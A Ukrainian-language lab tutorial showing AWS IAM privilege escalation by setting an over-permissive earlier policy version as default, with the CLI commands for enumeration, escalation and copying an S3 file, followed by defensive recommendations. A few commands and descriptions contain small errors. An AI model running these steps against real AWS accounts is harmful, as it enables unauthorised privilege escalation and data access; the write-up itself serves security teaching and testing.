У цій публікації досліджується специфічна проблема в AWS IAM — версійність політик. При неправильному налаштуванні цей механізм можна експлуатувати шляхом відкату стандартної політики до попередньої, більш лояльної версії. Це дозволяє користувачеві отримати вищі привілеї, ніж планувалося, що підкреслює необхідність ретельного управління версіями політик.
Зміст
- Про версійність політик IAM
- Налаштування лабораторії та передумови
- Частина 1: Налаштування лабораторії IAM
- Створення вразливої лояльної версії політики (Vuln_policy_version 1)
- Створення обмеженої версії політики (Vuln_policy_version 4)
- Частина 2: Перерахунок та експлуатація
- Передумови для пентесту
- Налаштування AWS CLI та перерахунок політик за допомогою облікових даних користувача IAM
- Експлуатація версійності політик IAM
- Аналіз
- Рекомендації
- Висновок
Про версійність політик IAM
Коли оновлюється керована клієнтом (customer-managed) або керована AWS (AWS-managed) політика, IAM створює нову версію замість заміни існуючої. Для керованих клієнтом політик підтримується до п’яти версій. На відміну від них, вбудовані політики (inline policies) прикріплюються безпосередньо до одного користувача, групи або ролі, не можуть бути використані повторно та не підтримують версійність.
Щоб встановити версію політики за замовчуванням (default), необхідні дозволи відповідають таким операціям AWS API: CreatePolicyVersion або SetDefaultPolicyVersion. Можна використовувати будь-яку з них:
- Дія iam:CreatePolicyVersion дозволяє створювати нову версію та встановлювати її як дефолтну.
- Дія iam:SetDefaultPolicyVersion дозволяє встановити будь-яку з існуючих версій як дефолтну.
Надання цих дозволів дає користувачам можливість змінювати те, яка версія політики є активною в даний момент.
Налаштування лабораторії та передумови
- Обліковий запис AWS (AWS Account)
- Віртуальна машина Kali Linux
Частина 1: Налаштування лабораторії IAM
Нижче наведено інструкції з налаштування середовища. Ми отримаємо доступ до консолі AWS та налаштуємо інтерфейс командного рядка AWS (CLI).
Користувач:
Igt_sanjeet
Назва політики:
Vuln_policy_version
Створення вразливої (дозволяючої) версії Vuln_policy_version 1:
Щоб встановити версію за замовчуванням для керованої клієнтом політики
-
По-перше, перейдіть до IAM > Policies > Create policy. Визначте дозволи у редакторі політик (Policy Editor).
-
Напишіть власну політику, яка надає повні адміністративні права; пізніше вона буде використана як шлях для ескалації (escalation path).
-
Effect: Allow -> Надає дозволи (не забороняє).
-
Action: “*” -> Дозволяє всі дії в усіх сервісах AWS.
-
Resource: “*” -> Застосовується до всіх ресурсів в обліковому записі.
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": "*",
"Resource": "*"
}
]
}
Ось як виглядає політика в редакторі політик (Policy Editor):

- На етапі Review and create (Перегляд та створення) додайте деталі політики, такі як назва — Vuln_policy_version, та опис, як показано на скриншоті.

- Після цього поверніться до розділу Policies (Політики) в меню IAM і знайдіть створену політику; вона має з’явитися у списку під своєю назвою.

Створення обмеженої версії Vuln_policy_version 4:
- По-перше, натисніть на назву політики Vuln_policy_version, щоб переглянути її повні деталі. У розділі Policy versions (Версії політики) ви побачите версію за замовчуванням — v1. Натисніть Edit (Редагувати).

Знову з’явиться редактор політик у вікні Modify permissions in Vuln_policy_version (Зміна дозволів у Vuln_policy_version). Напишіть власну політику, яка надає лише обмежені права:
- iam:ListPolicyVersions – перераховує всі версії вказаної політики IAM.
- iam:SetDefaultPolicyVersion – встановлює конкретну версію політики як версію за замовчуванням.
- iam:ListAttachedUserPolicies – перераховує керовані політики, прикріплені до вказаного користувача IAM.
- iam:ListPolicies – перераховує всі керовані політики IAM у вашому обліковому записі AWS.
- iam:GetPolicyVersion – отримує детальну інформацію про конкретну версію політики IAM.
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": [
"iam:ListPolicyVersions",
"iam:SetDefaultPolicyVersion",
"iam:ListAttachedUserPolicies",
"iam:ListPolicies",
“iam:GetPolicyVersion”
],
"Resource": "*"
}
]
}
Ось як виглядає політика в редакторі (Policy Editor):

- Потім перейдіть до розділу Policies (Політики), виберіть Vuln_policy_version і відкрийте вкладку Policy versions (Версії політики). Виберіть версію v4 і натисніть Set as default (Встановити за замовчуванням).
Тут чітко зазначено, що щоразу, коли політика оновлюється, створюється нова версія, і клієнт може зберігати до 5 версій керованої політики.
Ви можете видалити будь-яку версію керованої політики, крім тієї, що встановлена за замовчуванням. Ідентифікатори версій (наприклад, v1, v2) залишаються незмінними, тому вони можуть іти не в послідовному порядку.

- Перейдіть до IAM > Users > Create user (Створити користувача). Введіть дані користувача, а потім у розділі Set Permissions (Налаштування дозволів) виберіть Attach policies directly (Прикріпити політики безпосередньо). Виберіть Vuln_policy_version зі списку та натисніть Next (Далі).

- Нарешті, перейдіть до IAM > Users, виберіть користувача Igt_sanjeet і натисніть Create access key (Створити ключ доступу). Тепер завантажте .csv файл, що містить Access Key ID та Secret Access Key. Зберігайте ці облікові дані в безпеці.

Частина 2: Перерахунок та експлуатація (Enumeration and Exploitation)
Вплив неправильного керування версіями політик на безпеку
У реальних сценаріях неправильне керування версіями політик підвищує ризики безпеки, дозволяючи застарілим дозволам залишатися в системі. Це може призвести до витоку даних та порушення вимог комплаєнсу. Неадекватний контроль змін ускладнює відстеження модифікацій та впровадження актуальних, безпечних політик.
Щоб заборонити користувачеві вносити зміни у версію політики за замовчуванням, ви повинні заблокувати (Deny) як iam:CreatePolicyVersion, так і iam:SetDefaultPolicyVersion. Згідно з найкращими практиками AWS IAM.
Передумови
- Машина для пентесту: Kali Linux
- Тестові дані: Access Key + Secret + Region користувача Igt_sanjeet
- Інструменти: AWS-Cli (sudo apt install awscli)
Налаштування AWS CLI та перерахунок політик
Налаштуйте профіль AWS CLI, використовуючи отримані облікові дані Igt_sanjeet. Система запропонує ввести AWS Access Key ID, AWS Secret Access Key та регіон за замовчуванням.
aws configure --profile Igt_sanjeet
Тепер до справи: наступна команда підтверджує, що користувач Igt_sanjeet має прикріплену політику Vuln_policy_version. Зверніть увагу на PolicyArn, виділений на скриншоті.
aws iam list-attached-user-policies --user-name Igt_sanjeet --profile Igt_sanjeet

Далі, отримайте всі версії політики Vuln_policy_version за допомогою наступної команди. Результат чітко показує версії v1 та v4, причому v4 встановлена як версія за замовчуванням (default).
aws iam list-policy-versions --policy-arn $POLICY_ARN --profile Igt_sanjeet

Виконання цієї команди надає повну інформацію про конкретну версію політики IAM, таку як версія політики, дата створення тощо.
aws iam get-policy-version --policy-arn arn:aws:iam::513869214449:policy/Vuln_policy_version --version-id v4 --profile Igt_sanjeet
Після виконання цієї команди зверніть увагу на вивід, що показує надмірно дозволяючу політику з символами підстановки (*) як для дій (Actions), так і для ресурсів (Resources). Це дозволяє виконувати будь-які дії над усіма ресурсами. Це критичний ризик ескалації привілеїв.
aws iam get-policy-version --policy-arn arn:aws:iam::513869214449:policy/Vuln_policy_version --version-id v1 --profile Igt_sanjeet

Експлуатація версійності політик IAM
Тепер спробуйте виконати команду для переліку S3-кошиків (buckets):
aws s3 ls --profile Igt_sanjeet
Ця дія (ListBuckets) буде відхилена, оскільки користувач Igt_sanjeet не має повноважень для виконання цього завдання в поточній обмеженій версії політики.
Далі скористайтеся командою, щоб встановити більш лояльну версію політики (v1) як дефолтну (активну):
aws iam set-default-policy-version --policy-arn arn:aws:iam::513869214449:policy/Vuln_policy_version --version-id v1 --profile Igt_sanjeet
Після цього знову спробуйте перерахувати кошики. Цього разу операція пройде успішно, як показано на скриншоті.
aws s3 ls --profile Igt_sanjeet
Щоб переконатися, що дозвільна версія v1 дійсно встановлена як дефолтна, виконайте наступну команду — результат підтвердить зміну статусу IsDefaultVersion: true для версії v1.
aws iam list-policy-version --policy-arn arn:aws:iam::513869214449:policy/Vuln_policy_version --profile Igt_sanjeet

Тепер виведіть вміст вашого кошика, і ви побачите текстові файли у виводі.
aws s3 ls --profile Igt_raj
Завантажте текстовий файл на свою машину Kali:
aws s3 cp s3://igt-bucket/proof.txt file_admin.txt
Перегляньте вміст файлу
cat file_admin.txt

Аналіз
Ця лабораторна робота демонструє техніку ескалації привілеїв шляхом встановлення дозволяючої версії політики як дефолтної, що надає повний доступ без зміни тексту самої політики. Вектор ескалації виглядав наступним чином:
Igt_sanjeet → Відмова в доступі до s3:ListBuckets → Встановлення надмірно дозволяючої версії v1 як дефолтної → Повторна спроба s3 ls → Доступ надано → Ескалацію привілеїв успішно здійснено через зловживання версійністю політик.
Рекомендації
- Обмежуйте права на iam:CreatePolicyVersion та iam:SetDefaultPolicyVersion лише для довірених ролей адміністратора.
- Застосовуйте принцип найменших привілеїв (Least Privilege) до всіх політик IAM без винятку.
- Налаштуйте моніторинг та сповіщення про будь-які зміни версій політик IAM (наприклад, через AWS CloudTrail).
- Використовуйте політики керування сервісами (SCPs) в AWS Organizations, щоб заблокувати створення або активацію надмірно дозволяючих політик на рівні всього аккаунта.
- Регулярно проводьте аудит та видаляйте невикористовувані або застарілі версії політик.
Conclusion
Ця лабораторна робота успішно продемонструвала зловживання версійністю політик за замовчуванням, що може призвести до прихованої ескалації привілеїв. Суворі межі дозволів (Permission Boundaries) та постійний моніторинг версій політик є необхідними заходами для запобігання подібним експлуатаціям.